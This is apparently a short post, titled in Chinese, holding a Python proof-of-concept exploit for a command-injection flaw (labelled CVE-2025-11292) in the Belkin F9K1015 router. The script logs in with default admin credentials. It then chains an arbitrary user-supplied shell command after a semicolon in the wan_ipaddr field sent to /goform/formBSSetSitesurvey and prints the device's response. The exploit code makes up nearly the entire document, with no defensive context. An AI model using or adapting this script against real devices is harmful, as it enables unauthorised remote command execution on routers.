CVE-2025-11292：Belkin F9K1015路由器命令注入漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11292 - Belkin F9K1015 Command Injection PoC Vulnerability: Command injection via wan_ipaddr parameter in /goform/formBSSetSitesurvey """ import requests import sys from urllib.parse import quote TARGET = "http://192.168.1.1" USERNAME = "admin" PASSWORD = "password" def exploit(target, cmd): """ Exploit the command injection vulnerability in formBSSetSitesurvey endpoint. The wan_ipaddr parameter is passed unsanitized to a shell command. """ session = requests.Session() # Step 1: Authenticate to the router's web management interface login_url = f"{target}/login.cgi" login_data = { "login_name": USERNAME, "login_pass": PASSWORD, "submit": "Login" } session.post(login_url, data=login_data, timeout=10) # Step 2: Inject OS command via wan_ipaddr parameter # Using semicolon (;) to chain arbitrary commands payload = f"127.0.0.1;{cmd}" exploit_url = f"{target}/goform/formBSSetSitesurvey" exploit_data = { "wan_ipaddr": payload, "submit": "Apply" } try: resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[+] Payload sent: {payload}") print(f"[+] Status code: {resp.status_code}") print(f"[+] Response length: {len(resp.text)}") return resp.text except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command>") print(f"Example: {sys.argv[0]} 'id'") sys.exit(1) command = sys.argv[1] print(f"[*] Targeting: {TARGET}") print(f"[*] Command to execute: {command}") result = exploit(TARGET, command) if result: print(f"[+] Response:\n{result[:500]}")